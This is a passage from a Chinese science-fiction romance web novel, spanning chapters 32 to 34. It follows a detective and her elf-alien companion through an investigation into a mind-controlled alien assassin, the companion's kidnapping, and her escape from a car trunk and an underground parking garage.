拉出袋子的前几秒,端戊满脑子的美食荟萃,口水都汹涌了好几波了。 拉出袋子的后几秒,大脑快速上演了好几出的大戏,间谍戏、暗杀戏、投毒戏,要多跌宕有多跌宕。 她怎么也没想到,里面会是糯米糕。 糯米糕哪里都有得卖,谁都可以吃,本没什么稀奇的。稀奇就稀奇在近五年来它不再是单纯的糯米糕了。 为了便于外星人在地球上隐匿身形,就有大聪明发现了这桶金。 默剂稳因酶作为隐藏特性基因稳定剂,是需要通过糯米粘性作为载体来控制活性,直到进入胃里,才会被胃酸激活活性。 而默剂稳因酶作为特医级食品,是可以在有营业许可的超市买到的,据辛瑙听来的消息,目前全球的默剂稳因酶的经营许可权都被白舍垄断了。 虽然不是什么好事,但是就目前查案来说,范围倒是缩小了不少。 康屿安在地球上有合法居住权,她根本不需要隐匿身形。更何况,她有端砚送给她的喷雾。 这个糯米糕不是她用的,那是给谁用的?端戊觉得脑子的信息猛烈碰撞成碎片,碎片横飞,锐角乱刺。痛! 端戊检查了门口机器狗的记录,她走之后没有人来过,她走之前厨房里是没有这个东西的。 端戊睡着了一样站在那,许久后突然开机睁眼,把东西又放回去了。 康屿安把东西放在这里,半藏半不藏的。若说藏起来的,细心点就能看到,等于放在了明面上。 可如果说不是藏起来,就她放的那个地方,只要身高超过一米了,根本就不容易发现。 试探?底线的试探、还是信任的试探? 端戊不知道康屿安在想些什么,不止这件事,一直都是。她都想打开这个让人头疼的小脑袋,看看里面到底装了些什么。 端戊走到卧室门口,看到康屿安又是整个人都缩进了被子里:这得是多缺少安全感啊? 端戊踮着脚尖走到床边,床上扁平的就像没人躺在那里。端戊凝视着那个不明显的轮廓,想着这段日子里来的康屿安,似乎一直都是躲在雾里的。 端戊突然就想看看康屿安。 掀起被子的一角,把整条边缘向外折了一下,露出一对松弛的小耳朵、轻握成拳的双手,两个小拳头掌心向上,自然地摆在头两侧的枕头上。 看上去,像是保持警惕的咪睡着后的放松,被子下面一定还藏着不设防的小肚皮,想想就觉得可可爱爱的。 摸人家肚皮就唐突的有点不像话了,端戊也是不敢的。可是她想摸一摸小耳朵,她想了很久了,或许,小耳朵能告诉她答案呢? 端戊左手撑着床边,身体一点点前倾靠近。 康屿安瓷白的皮肤上,映着一对倒置的扇形影子,显得有些忧郁。睡梦中似乎都在与人对抗,双唇紧抿着,难怪是握着拳头的。 端戊伸出食指指尖,轻轻碰触一下康屿安的左耳耳尖,没想到右耳耳尖反而跳动了一下,端戊没忍住笑了。 怎么像是她玩的那个逆向碰撞的游戏?真是太好玩了。 指尖上传来绒绒的轻柔,像是扫在心里痒痒的,让人忍不住还想再摸一下。有了第一下的试探,端戊胆子大了一点。 这次她用食指和大拇指,轻轻捻起耳尖,在两个指肚间打着圈地摩挲。这一次对面那只耳朵没有再跳动。 端戊从耳尖移动着摩挲到耳廓,不知道是不是错觉,她竟然感觉到指肚间有轻微的濡湿,精灵耳会出汗的吗? 康屿安浅灰色头发的蓬松间,飘出雨后竹林的味道,若隐若现,端戊甚至以为是自己的错觉。 端戊又向前倾了倾身体,贴近康屿安的头发,鼻尖已经碰触到轻软的发丝,嘿,还真的是竹叶清香味,如果不是贴得这么近,还发现不了呢。 脸都快要埋进人家头发里了,吸猫一样深吸了一口,她没看到,康屿安轻握的双拳又紧了些。 端戊竟然懂得了猫薄荷的快乐,她弯着嘴角、点着脚尖关上灯,回自己宿舍了。 听到关门声,康屿安在黑暗中点燃那双小紫灯,和心跳一起局促地一闪一闪的…… 一大早上刚到单位,辛瑙就发现她师父精神格外的抖擞,出现了这么大的隐患,她还以为又是气氛凝重的一天呢。 没想到今天竟然是端戊脑回路特别清晰的一天。 “去把物证科和尸检科的机器人程序暂停,向总部申请检查。”辛瑙刚一露头,就被安排活了。 “好咧师父!”辛瑙还没走到门口就折回来了:“昨天带回的那具自剖的死者怎么办?这活谁干啊?” 端戊看了辛瑙一眼:眼里是日渐有活了。 “当然是你啊,我看你昨天还挺感兴趣的吗?正好给你个机会。”端戊意味深长的看着辛瑙,眼底是戏弄都快要藏不住了。 “师父!你不是认真的吧?我哪行啊!”终究是年纪小,容易急,急起来不辨真假。 “没其他人选啊,你不行,只能你师父上了!”端戊垂下眸,把被逼无奈、勉为其难演得像真的一样。 “师父……” 进了解剖室,辛瑙看到医务室的一众机器人,都被师父调来了解剖室,重新输入了指令。 辛瑙看向端戊的眼神都变了:这块姜还没老呢,怎么就提前辣了呢! “师父!斯洛鄂星球人的内部组织都是这么复杂的吗?”辛瑙看着被捋清的肠子和被复位的五脏六腑,有那么一点点明白了为什么丧心病狂地操控他自毁了。 “肯定不是!很大一部分外星人,在星际库里是没有任何信息的,而死者独一无二的生理特质,太容易让人辨认身份,所以才要搅乱我们的视线。”端戊连接数据库进行扫描比对。 “那也不对啊师父,只要被我们带回来,就会拼凑上的啊?而且他是自我生剖的,实在是反人性啊!”辛瑙不知道这样做的意义是什么,在她看来残忍且幼稚。 辛瑙问的问题,原本端戊也是不知道的,胜在运气好,通过比对,在资料库找到了死者。 “死者是斯洛鄂星球的杀手马托斯基,刚从星际监狱出来没多久,在星际上也是小有名气的人物,人送星号‘皮囊收割机’……”现学现卖也够把辛瑙唬的一愣一愣的。 “咱们之前发现的死者,竟然不是机器剥的,都是他干的?真是下的去手啊!也是 ,对自己都这么狠呢!”这个世界终是疯成了正常人无法接受的样子。 “残忍都是给别人的,谁会对自己下这样死手。他是被精神控制了,这么做也不是为了破坏,而是重组。这也是马托斯基另外一项异能,只是很少用到就很少被别人知道。” 其实端戊也是被惊到了,幸好这货被关二十几年,要不然得让他为祸多少方。 “马托斯基背后之人知道我们赶到的时间,所以提前让他噶了,不给我们留活口,他是怎么知道?我们的瞳视被监控了?”辛瑙突然有了危机感。 “他住的地下室下面还有一层,两层之间的就薄薄一层隔板,整出这么大动静还滴滴答答往下一层渗血,楼下早就吓崩了。” 更让端戊惊讶的是,幕后之人能够精准的掌握警方赶到的时间,症结必须找出来,毒瘤必须尽早除去。 “太无法无天了师父!那人知道我们什么时候抵达现场!”辛瑙的小脑瓜转得也是挺快的。 “事情捋了一遍,总感觉像是你能干出来的事……”端戊像是盯着猎物一样看着辛瑙。 “你什么意思师父,你是在试探我?你不信任我?”辛瑙情绪立刻澎湃起来了。 “慌什么!我就是觉得所有的事情,看起来心思缜密屁股擦的也挺干净,其实每件事都有点中二激进,隐约能感觉出几分孩子气,年纪和你不相上下……我上次发给你的照片查了吗?”端戊想起了云廊事件,现在辖区派出所那边也没查出个结果来。 “师父交给我的事哪能忘了?那个圆眼镜的中学生和她妈妈,只有近五年的信息,之前一点档案都没有,连从哪里来的记录都没有。我已经把资料发给星际警了,目前还没消息。” 辛瑙想起了她爷爷的话:在自己工作能力认知不详的情况下,至少得体现出自己的工作态度吧。 “她们母女二人,应该就是在星际库没有任何信息的那部分人。”这部分人不是背景强大,就是所服从的背景很强大。 “阿嚏!”叶白打了个喷嚏,最近没有一件事情是顺的,就连打个喷嚏,都能撕裂伤口。 她已经屁股开花地在床上趴了两天了,叶意秦也是攒了整整五年了,算是新账旧账和她一起算了。 不管是谁,如果知道叶白这五年都干了些什么,都会觉得她这顿打挨得一点不冤,而且还可以打的更狠点。 “废物废物!全都是废物!”屁股上的二次伤害,直接引爆了叶白这颗小炸弹。 “主人,我们已经做到最好,没有留下任何和您相关的证据。”机器人小意还颇有一些不服气。 指令都是你输入的,我们只是执行,若说废物,也不应该是我们啊! “操!那你是想要我谢谢你,还是想让我夸奖你呢?”叶白随手抄起一个没看清的什么玩意儿,就丢了过去。 “都可以,主人请随意!”小意不躲也不闪,生生扛下不明攻击物,反正又不会疼,打坏了也是主人消费,打废了更好,直接退休了,这班是一天都不想上了。 对于母上大人送的机器人,即便知道它是叶意秦留在她身边的眼睛,也是无可奈何。 “康屿安那怎么样了?安排见面了吗?” 32.第 32 章 上班第二天假期就来了,康屿安还是很开心的,虽然是差点拿命换来的,正是爱玩的年纪,一点也不影响出去得瑟的心。 端戊是指望不上了,闺蜜倒是可以约一约的。端砚看着像个小豆丁,康屿安却感觉她的灵魂里住着一个小大人。 “今天是工作日,没那么多人应该很快的,完事后你想去哪?”端砚还是第一次被人家当成闺蜜,在她看来,大人才有闺蜜,有了闺蜜就是大人了。 “我们逛逛街吧?我觉得地球上的衣服又漂亮又舒服。有什么想吃的吗?我们中午去吃,下午去道馆找阿姨吧,我都想她了。” 康屿安是真的想端妈了,那样一个看起来脾气就不好,甚至可能会动手的人,对她的爱却都是用真诚盛满的。 “你是想我妈了,还是想吃我妈做的饭了?有珠玉在先,嘴早就喂刁了,谁还啃得下瓦块啊。”端砚只有面对不熟悉的人时,才是冷小孩。 跟着端戊长大的小孩,那股子欠劲儿都已经耳濡目染进骨子里了。 “既然啃不了外面的瓦,那中午就不要在外面吃了,我们早点回道馆怎样?”康屿安是能收拾她姐的人,收拾起小东西来更是不费力气的。 只是有点可惜,康屿安用的是宿舍外呼系统,看不到端砚脸上精彩的表情。 “屿安姐姐,整天吃珠玉,也是会腻的!就这么说定了,中午我们去啃一家新开的瓦片去。” 小丫头!和谁学不好,偏要学你姐? 康屿安刚翘起嘴角,就想起了昨晚在自己耳朵上放肆的手,嘴角咻地掉了下来:以为是你的阿贝贝啊! 没礼貌的是对方,自己昨晚害羞个什么劲儿?就应该当场睁开眼睛质问她的。康屿安顿时觉得自己没发挥好。 “那就星格网链中心见哦。”康屿安在全身镜前转了一圈,啥也不是。 转念想想,终于要有自己的瞳视了,还有各种漂亮的新衣服等着自己,那些不靠谱的人和事,通通滚蛋。 “我让银河去接你吧?”端砚突然想起端戊说最近的案件都是和朝暮星人有关的。 “不用,刚刚我查了路线,从我这里去星格网链中心,刚好做水下轨道五号线,我还没见过呢,想试试。” 她也是刚刚知道,地球的地下轨道可以不用绕开河道湖泊,好奇地不得了。 “这,能行吗?我姐……”端砚还是有点犹豫,按她姐说的,康屿安不能出安全区,更不能离开视线范围之内。 “放心吧,我一定在全维眼范围之内,绝对不去人少的地方,不走偏僻街道和小巷子。” 康屿安也是最近才体会到,过分保护和坐牢差不多,现在她呼吸的每一口空气都透着一股子的狱味儿。 而且她还在犹豫,要不要见那个人。 “那你说话算数,我在星格网链中心那一站的出口等你。不许乱跑、不许看热闹、不许搭理陌生人、更不许管闲事。”能生出危险的变故了,端砚也只能想到这么多了。 “我又不是小孩子,放心啦!”被端砚像妈妈一样嘱咐,康屿安总是觉得像闹着玩似的。 “说了很多次,我不是小孩子,你就是不信呢?”对端砚来说并不好玩,声音都恹恹的,不用看康屿安都知道她在嘟嘴。 “你怎么可能是小孩子,你是我的好闺蜜嘛!记得到出站口等我哦!” 镜子里,康屿安瓷白的巴掌脸笑成了一朵纯净的栀子花,笑意在通话结束后渐渐淡了,薄唇抿成一道直线。 “没有了?”端戊在羁押释放书上签字,辛瑙今天难得长话短说,她还有点不习惯。 “啊?啊有!您邻居说感谢为她洗脱冤屈,日后定会登门道谢。”辛瑙今天有心事,认为不重要的事儿就忽略了。 “登门道谢就算了,上次那对精灵耳朵就是这么送到我家的,精灵耳匹配上了吗?”端戊等的不是一句谢,可也算是等的这句话。 她虽然面上冷冷、嘴欠腹黑的,其实是掩饰内心的柔软细腻。比如说洗衣店卜老板这个事,虽然不是她的过失,却会因为对方受了不白之冤是被自己拘留的而心存愧意。 “现在还没有,失踪精灵里也没有能匹配上的数据。”辛瑙拿起签好字的释放书,准备出去了。 “有没有可能,这个人在他熟悉的人眼里,并没有消失?”端戊突然有些好奇,一个、两个的,怎么都是朝暮星人。 “有人替他活在他的那个圈子里,神不知鬼不觉的?可是为什么割掉了耳朵呢?”辛瑙顿时也来了兴趣,转身又回来了。 “除非,除非他自己也有耳朵?这个耳朵多余了?”端戊也想不清楚,下意识第地随意猜测着。 “那不就是带了个帽子嘛……”辛瑙半个屁股搭在了端戊的办公桌上。 “星际库查了吗?”端戊合上了档案夹,怎么可能让辛瑙看到她在翻上课时做的笔记呢。 “师父,我现在干活你还不放心啊,我还把耳朵的DAN信息在那登记了。”辛瑙已经能够预判端戊了,猛地回头刚好看到端戊的手高高抬起,又状似无意的放在了后脑勺上。 又想拍我! “还不快去?是想留人家在这过一夜啊?”端戊大长腿从桌子底下踹过去。 “好咧师父,绝对不能够,多留一晚对清异局来说都是不必要的支出,不用给饭吃的啊!对了,晚上我们要留在师祖那吃饭吗?我要和我爷爷报备的,没有我陪着,他老人家得少吃半碗饭呢。” 辛瑙显然是爷爷带大的孩子,而且可以摘星星摘月亮的那种。 王校长说的一点没错,她对这份职业是有着浓厚兴趣的,看着是端戊套路了辛瑙,其实,不过是辛瑙借坡下驴。 端戊仿佛看到了自己退居二线时的后继之人。 “下班点过去肯定是要吃饭的,还会介绍新朋友给你,叫酱油筋。”端戊回答的有点漫不经心,这都是不需要问的习惯了,以后也得是辛瑙的习惯。 “好哇!”对辛瑙来说,结交新朋友算得上最开心的事情之一了。 她刚出去,端戊的瞳视有视频进 来,是端砚的。 “姐,我陪康屿安去星格网链中心,办理完瞳视一起逛街了,你去不?”端砚眉眼弯弯成缝,看次不经意的成心戳她姐肺管子。 “上班呢,去什么去,我一会儿转钱给你,别吃吃喝喝都让别人花钱。”端戊羡慕啊,她再也没有寒暑假了,只有加不完的班。 “好啦好啦,我又不是铁公鸡,再说了,屿安姐姐又不是别人。”端砚撇了撇粉嘟嘟的嘴:烦死了,反反复复的对抗同一个问题。 倒是康屿安,反而更像个个孩子,私下里玩闹还会让端砚让着她,这让端砚极为开心。 “不是别人是谁?”端戊也是个会抓重点的。 “闺蜜啊!我们是天下第一好的闺蜜!”端砚细长的眉眼得瑟的乱飞。 “真好真棒!你如果是来炫耀闺蜜的,现在可以退下来,忙着呢。”现在端戊何止是忙着,简直一团乱麻脑仁疼。 物证科和法医科都歇菜着呢,其他部门也不是很确定,也许等不到明天就全都得歇菜。 “哦正事忘了,我们逛完街一起回家,你晚上也一起回来吃饭吧。”端砚晃着小胖手,匆匆挂断了。 端戊的视线被钉在了悬浮屏消失的位置,怎么用力也挪不回办公桌上各种资料文件堆积成的小山。 “师娘年纪大了,不好再像从前那样再让她操劳!嗯对,我是心疼师娘。” “最近恶性事件太多了,祁局隔三差五地就过问,说什么也不能再出现命案了,嗯对,容易造成恐慌。” 说服自己后,端戊准备用这一堆说辞劝说王校长,也是费了好大的劲儿才连接上王校长的外置机。 “王老,我领着辛瑙来学校找您,别让师娘辛苦了,今天就不到家里了。对了,让酱油筋准备好接客啊!” 这是学校搬回地面后,端戊第一次回到学校,这才应该是学校该有的样子,虽然对她来说,完全的陌生。 当酱油筋看到老客是带着新客来的,眼神都懒得给新客一个,弓起背、炸起毛,指着老客的鼻子就是一通骂。 骂得啥不太清楚,反正挺难听。因为啥被骂端戊心如明镜一般。 “不是我不要你了啊,你是有编制的校内人员,校领导也不允许我带你走啊!”端戊心机地拿着小眼神瞟王校长。 王校长那才是妥妥的老姜,哪会接她这一茬,端着大茶杯,大口地吹小口的呷。 端戊看着没戏也不浪费时间墨迹,拿出今天两个科的机器人检查数据递给王校长看:“您来看看,这是今天全天的数据检查。全局所有机器人的数据检查和这个也是一样的,没有异常。” 端戊又拿出另外的一份数据:“这份是我家的那两个机器人,现在已经闲置了,只出现了一次事故,事后数据显示一切正常。我觉得,两次事件的幕后是相同的人……” “师父,报警中心转过来的,说有小孩报警丢了个外星人!”辛瑙打开了报警中心刚传来的报警录音。 “啊?”这个组合让端戊想起了家里那俩。 33.第 33 章 端戊迫不及待地按下播放键,听到了最不想听到、却预料之中的声音。 “我要报警,一个紫色耳朵、灰色头发的精灵,在水下轨道五号线失踪了。她是从公序舍那一站进去的,本应从星格网链中心这一站出的,可是,可是我等了差不多两个小时她也没出来。我就进去找,问了每一站的工作人员,都没有人见过她……” “小朋友不要着急,你没尝试联系她吗?”接警机器人对声音的辨识度还是挺精准的。 “能联系上我们还去什么星格网链中心?她什么通讯设备都没有,我才找不到她呀!拜托帮我找找,轨道交通不帮我调取全维眼。”端砚急得快哭了,她嫌机器人墨迹。 如果轨道交通监控中心允许她看,早就自己找了,还会在这哭唧唧地浪费时间? “小朋友,从失踪时间判断,还不能够立案,要不你先联系家里的大人帮忙,如果还是找不到,再来我这里报警?”小机器人态度一如既往的温和耐心,公式化的对付端砚。 “找个毛啊,如果找我姐,她能先把我腿打折。”端砚可能没想到,怕什么来什么,而且还来得这么快。 辛瑙看了一眼端戊的脸色,她觉得端砚猜得没错。也对,腿打折就不能往外跑了,不往外跑,咋能把师娘整丢。 端戊把手指插进短碎的头发,在头皮使劲揉搓,像是施法能让时光倒流似的,最后无力地把碎发拢在耳后。 昨晚猫薄荷吸多吗?糯米糕这么不寻常的出现在宿舍还不够警示吗?非得真出了事! “我……”端戊也有属于她的主心骨,转头看向王校长波澜不惊的核桃脸。 “东西放下去忙你的,我先看看怎么回事,明天我带人去清异局。”王校长全神盯着那份没有任何纰漏的数据,甚至眼皮都没抬一下。 “得咧,辛瑙走!”定海神针一句话,就让端戊从昨晚就开始悬着的心落地了。 辛瑙虽然没亲眼看到她师父那颗心,是怎么稳当掉地上的,但明显看到端戊整个人走路都轻快了很多。 “师父,将来我摇您的时候,您也会这么给力的对吧?”辛瑙殷勤的跑过去替端戊开车门。 “不好说,能不摇我的时候最好还是别摇我。”端戊一屁股坐进车里,先把瞳视连接上了车载屏。 对方几乎是秒接,本就白嫩的小脸,这会儿更像是刚吐完血,瘆白瘆白的:“姐,你这么快就知道了……” “快?这还快吗?再慢点你是不是都找到康屿安了?呃……”端戊看着端砚可怜巴巴的样子,骂她的话都已经到了嘴边,生生咽下去了,噎得自己还打了个嗝。 “姐……我错了,我不是害怕你骂我吗?”端砚早就后悔了,如果康屿安能好好的回来,挨骂又算得了什么,挨打都行。 “你现在在哪呢?”端戊的小乌龟又要起飞了。 “我回到星格网链中心的出站口蹲守她呢,我怕她万一到了找不到我……”平时被端妈拎棒子追着揍都不肯哭的端砚,这会儿,眼泪狠狠的砸在脚下,担忧、悔意在地面上弥散开。 “在那等我!”端戊一脚下去,像是踩到了小乌龟的命脉上,龟小车玩了命的冲出学校停车场。 康屿安猛地惊醒,忽地睁开眼睛,用力的眨了几下眼睛,依然是黑的。她尝试着活动胳膊、腿,呃,被绑着呢。 空间逼仄,她一米六的身高躺在那,腿都要半蜷着的。摸了摸躺着的是粗糙织物。又踢了踢找脚感,基本确定是被关进后备箱里呢。 唉,逞能果然不是个好习惯,尤其是被好奇心唆使的逞能。怎么就不听劝呢?真应该让银河来接自己啊! 康屿安有点沮丧的蜷缩成一团,咦?手脚有一些松动呢?是绑匪忽略了她的细胳膊细腿吗? 她把自己的弱懦无骨的小手缩成鸡爪子形状,转着圈的用力往回收,娇嫩的手背很快就疼得火辣辣的了。 她突然想起了端戊常挂在嘴上的一句话:人只有活着,一切才皆有可能。于是忍着痛,手上又加了点力气。 “嘶……”还真的把手抽出来了,康屿安清楚的感觉到食指和中指的关节,掉了一大块皮下去,伤口像是被喷了辣椒水一样,热辣热辣的。 康屿安现在可顾不上,弓成一团摸到脚踝上的绳索:真瞧得起我,用这么粗的绳子捆我。 额头和鼻尖已经渗出细密的汗珠,康屿安用尽了洪荒之力,就连小耳朵都跟着用力快速的抖动着,甚至感觉到自己有点缺氧了。 在晕倒之前,康屿安终于解开了,用力的呼出一口气后,尽量舒展四肢平缓呼吸。 “我怎没听到有什么动静啊!疑神疑鬼的!”一个沙哑的声音,哦不,现在是一个沙哑又不满的声音。 “你个半聋的耳朵,能听见什么?我真听见车里有动静。人如果在咱俩手里跑了,主人得废了咱俩。”一个尖细的嗓子听着就像狐狸一样狡猾。 “卧槽!你说谁聋!”沙哑男即将被点燃。 “还说自己不聋?我什么时候说过你聋了?半聋!半聋!”狐狸男一心只想检查一下人跑了吗?有点懒得搭理对方。 “你还不承认?两个半聋不就是全聋吗?”偏偏沙哑男还是个较真儿的,像是咬住手指的乌龟,一点都不肯撒手。 “操!你不光半聋,你还半脑!”狐狸男想抽自己一巴掌,我特么惹个傻子干嘛! 一个人越是缺什么,就越介意什么。巧了,沙哑男两样都占了,buff叠加着戳心窝子,歪打正着地彻底把他点燃了。 沙哑男助跑了好几步狠狠地从他背后推过去,估计狐狸男也没想到两句话不合就能动手,趔趄着就撞上了关着康屿安的后备箱。 “你他妈的是不是疯了!我和你说笑、你和我玩命?”如果没有车子拦他一下,肯定是要摔个狗吃屎的,就这个蛮劲儿没准门牙都保不住了。 “咚!”虽然保住了牙,也是撞得很疼,还把后备箱里的康屿安吓得小心肝扑通乱跳,小耳朵警惕的支棱了起来。 狐狸男也不再和他客气,双手支着车屁股,转体、侧身、飞腿一气呵成,一脚踹到了沙哑喊的心窝上。 “去你妈的!”狐狸男丁点没 留情。 “你……”沙哑不想老实也得老实了,挣扎着两下也没起来。 “呃呸!什么玩意儿!”狐狸男一口陈年老口水吐在他身上,开了车锁打开后备箱。 看到康屿安还是原来的姿势,没醒也没动,才放下心来,手都摸到按键了正要关上后备箱时,动作一滞迟疑在那。 他看了看康屿安的脚踝,没什么不对劲就是不放心,于是把手伸向脚上的绳索。 用力扯了扯还是老样子,这下才彻底放下心的按下去。 “救……救我!”身后的声音微弱到听不出沙哑,却能听出气数在外散。 回头看到沙哑男双手捂着胸口,一张国字脸涨得通红,张大的嘴巴能吞进去一个拳头。 “咋,咋回事?”狐狸男心里还是有数的,刚刚太生气了,那一脚下去就没考虑死活的问题。 “呃……救……”狐狸男已经说不出话来了,双手捂住自己的脖子,像是被浪拍上岸的鱼,张大嘴却只有出的气、没有进的气了。 “哎兄弟!兄弟你别死啊!我背你上去咱叫救护车啊!兄弟你撑住了啊!”狐狸男哪还顾得上之前的那点小恩小怨,在人命面前,都算个屁啊! 狐狸男只顾着忙活眼前这条就要消亡的生命了,根本就没想起来锁车的事。 康屿安也彻底松了一口气,亏得他俩在外面打了一架,要不然哪有时间把脚重新绑上。如果不是两个人下手这么狠,咋能忘了锁车就跑了。 康屿安挣脱绕在手上的绳索,解开脚上的活结,摸索找到调整后排座椅的按钮,看到座椅在自己眼前放平的那一刻,她觉得像是做梦一样:运气这么好,这就要跑出来了。 内心美好的人最先看到的往往是事情好的一面,直到现在她都没想过真倒霉,怎么就被绑架了呢? 康屿安兴奋地忘了火辣辣的疼痛,激动的小耳朵在头顶胡乱摇晃。从车里出来后,脑子一片空白的拔腿就跑。 跑了很久才冷静下来,发现自己竟然一直是兜着圈子在跑的:“我是不是应该报警?地球上的报警电话是多少?啊!啊!啊!我没有电话!端戊,你这个不靠谱的混球!” 端戊坐在轨道交通指挥室,看着一屋子的悬浮屏不停地在眼前跳跃,被输入的扫描系统一帧帧的扫,没有一帧是与康屿安的照片吻合的。 “师父……”辛瑙站在一旁,看着端戊放在桌面上的双手,握紧成拳,突出的关节快要冲破皮肤了,估计指甲都快在掌心扎根了。 “康屿安没有进站……”端戊像是喃喃自语,又像是对辛瑙说。 “那我们下一步……”辛瑙看着哭成泪人,眼睛肿得都快长合到一起了,心里也是揪成一团。 “上次让你查的人是叫叶白吧?把家庭住址调出来,现在过去。”端戊猛然站起来,膝盖撞到桌子上,却像撞到了的是辛瑙的膝盖,跟着蹙眉、鼻翼抽搐。 “那个,师父,没有搜查令我们贸然进去是违规的……” “猜错了我最多是违纪停职,如果没猜错,康屿安没的可就是性命了!” 34.第 34 章 辛瑙认为她师父一定是疯了,毫无征兆地疯了。 这是正常人能干出来的事儿吗? 普通人私闯民宅还违法的呢?更何况她是警务人员,知法犯法嘛! 不看师面还要看祖面呢,有她师祖的这一层关系,说什么也要拦住她师父。哪怕被打死,她看了一眼端砚,也不知道那个小屁孩关键时刻能不能出来拉她姐一下。 她甚至已经在颅内小剧场预演过了:实在拦不住,那就豁出脸面不要了,她打算坐在地上抱住师父的大腿。 端戊不会惯着她的,第一反应肯定是要踹她。 这是康屿安和师父初见时干过的事儿,会不会适得其反让师父更激进了?那可就不止是踹她了。 只要她敢不松手,端戊一定会毫不犹豫地猛击她的背、她的腰、她的后脖颈。 她师父的战斗力她还是了解的,真的会骨折!到那时要不要放手? “发什么呆呢?地址呢?”一巴掌拍在辛瑙后背上,剧情被砸得稀碎。 辛瑙犹豫着看端戊的眼睛,黑白分明的丹凤眼,被描上了一圈红,魅惑而肃杀。 “师父,我不同意!啊!”没有被端戊打骨折,差点被端砚打死!辛瑙甚至感觉到喉间翻涌的腥甜。 “我同意,二比一,少数服从多数,去!”端砚努力睁大哭肿的眯缝眼瞪向辛瑙,让自己看起来更有些威慑力。 辛瑙一脸不太聪明的样子看着端砚:那是你亲姐!我刚刚怎么会有指望她拉端戊一把的想法,现在看来,女子双打的可能性比较大。 “去去去,现在就去,一荣俱荣一损俱损、全军覆灭!”辛瑙翻出了一个爱咋咋地的白眼,你都不怕,我一个被迫入职的怕啥! 这么一想,辛瑙顿时不慌了。对嘛,人一旦看开了,有什么事不能解决,有什么坎过不去? 康屿安也是一瞬间想开的,她像一个冷静的小雷达,谨慎环视四周,发现这个停车场好大啊,而刚刚自己慌不择路,只是在一个角落绕着圈的跑。 她抬头看了一眼全维眼:刚刚有没有人看着,怪丢人的,谁让自己方向感不好呢! 镇定下来的康屿安做出了最理智的选择:不拐弯,一直走。就不信了,就算没有可以上去的直梯,车辆进出口总是有的吧?虽然危险了点,生路险中求嘛! “大哥!让他们别打了,我咋可能骗你们,刚刚那个小精灵就躺后备箱里,我还检查了她脚上的捆绳呢……” 停车场里空旷的静谧,突然被一声比踩了猫尾巴还凄厉的惨叫声划破,准确来说,应该是踩了狐狸尾巴。 狐狸男这一嗓子太突然了,康屿安的精灵耳立刻就警惕的竖起来,整个人也像是被点了穴一样立在原地。 抓我的?很多人!还凶得很!我干嘛站在这,我不是应该跑的吗? “把你怂的,刚刚打阿隆的时候不是挺能的吗?谁你都敢动,你也不想想,就阿隆那样心眼不多、打架不中的,凭啥能在这混的风生水起横着走?就他也是你能动的?” 还有瓜?说了半天,把阿隆说的神乎其神的,他到底是谁啊?主要是现在不是吃瓜的时候,康屿安的当务之急是抓紧跑。 “喀嚓……啪!”康屿安看着脚底下的空瓶子,心里巴巴苦:连这瓶子都是和自己上辈子结过仇,这辈子寻仇来的吧? 她只希望那边打人的声音再大点,叫喊的声音再惨点,可以盖过这个声音。可是老天的眷顾是限量的,老天偶尔也要打瞌睡。 康屿安这会儿又有点悟了:空瓶子报狐狸男上辈子恩情来的吧,显然是来救他的嘛。 “一定是那个小精灵,这个停车场不可能有人进来!”狐狸男一嗓子,让这一伙人立刻一泯恩仇,同仇敌忾了。 康屿安根本来不及多做考虑:为什么这个停车场不可能进来其他的人? 他这么一说,康屿安才想起,好像还真的是那么回事,跑出来这么久,她没有看到一辆进出的车,要不然自己也不会一直找不到出口。 现在被发现了,肯定不敢跑了。地形没人家熟悉,腿没人家长,实力悬殊更是不敢想,康屿安环视一圈竟然没有排水口? 噼里啪啦的脚步声越来越近了,听脚步声没有十个人也有八九个人。 管不了那么多了,康屿安看到角落里有一处低矮的小房子,可能是放工具的吧。 闭着眼睛去拉那扇紧闭的小门,竟然没锁,急促沉重的脚步声一下下踩着她的心就过来了,心脏一抽一抽的害怕,先进去再说吧,万一他们瞎呢! 听见外面嘈杂的脚步声从小房子跑过去了,悬到嗓子眼的心落下了一点点。吐出一口气放松些,又听见稀稀拉拉的脚步声回来了,康屿安心脏差点跳出来。 声音杂乱无章还走走停停,朝着不同的方向分散,又从不同的方向走过来,偶尔还发出吭哧吭哧的声音,应该是撅着腚在查看车底。 康屿安从来没这样煎熬过,这得熬到什么时候? 很快,康屿安就熬到了头。没有万一,人家不瞎,是她被发现了。 “大哥!你看我发现了啥?”一个贱兮兮邀功的声音,让所有的脚步声稀碎又齐刷刷的集中到了小房子外。 只闻其声的大哥摇晃着走了过来,光亮的脑袋,只留了中间两指宽的头发,还染成了黄色烫成了小卷。 “都让开,我看看在哪呢?”大哥舌头有点短,看来平时解决问题动手能力比动口能力强。 光头哥对着一米半高的小房子看了看,回头瞄了一眼,对着两个瘦小的一招手,两个长得像猴儿的小混混,一步一蹿的就上去了。 俩窜天猴蹿到门口回头看了一眼,光头哥点点头,俩人一脸贱笑、猛地拉开两扇小门。 还没等看清,一对毛茸茸的小耳朵已经冲到他俩面前,脸上的贱笑顿时凝固成了可笑的面具。 下一秒,撕心裂肺的叫喊声响彻停车场,两张面具脸立刻被抓的血肉成丝,趁一众人没反应过来,一只黑色的咪刚一亮相,就消失的连根猫毛都看不见了,只 留下一道道血淋淋的猫爪印。 “不是说是精灵吗?怎么变成猫了?”突然的变故,让一众高矮胖瘦都没反应过来,尤其是光头哥,摸着锃亮的头皮一阵后怕。 “没听主人说精灵能变猫啊?”狐狸男惊魂未定,看着抱脸哀呼的俩猴,庆幸自己比他俩个子高一些。 “既然不能变成猫还不上去看看去,傻愣着干嘛呢?等着我去呢?”光头哥看着小工具房里半天没有动静,察觉不太对劲。 高矮胖瘦,凡是能挤进去工具屋子的,打卡到此一游似的,挨个进去翻了一遍,也没见到小精灵。 光头哥站在门口,听到水龙头和水池子正在滴滴答答的调情,总感觉那滴答声像是在蛐蛐他一样刺耳。 “精灵呢?精灵呢?”光头哥崩溃、光头哥咆哮。 水遁的小精灵其实也挺崩溃的,不说能遁出几公里,至少得让她出了地下停车场吧? 康屿安站在了好汉坡的中间路段,一路爬坡到道闸前。如果没记错的话,刚刚他们说这个停车场不会有人来,那要怎么出去? 猫都别想跑出去,不要说一米六的精灵了。于是康屿安准备原路返回,从坡道中间的排水通道再赌一次运气。 刚回头,康屿安就感觉脚下轻微震动,精灵耳抖动着听见了轰鸣声:“该死,这么快就追上来了!” 坡上,康屿安脚踩风火轮似的往回跑。坡下,磁吸越野轰鸣着往上追。虽然他们也很好奇,小精灵是不是疯了,迎面就送上门来了。 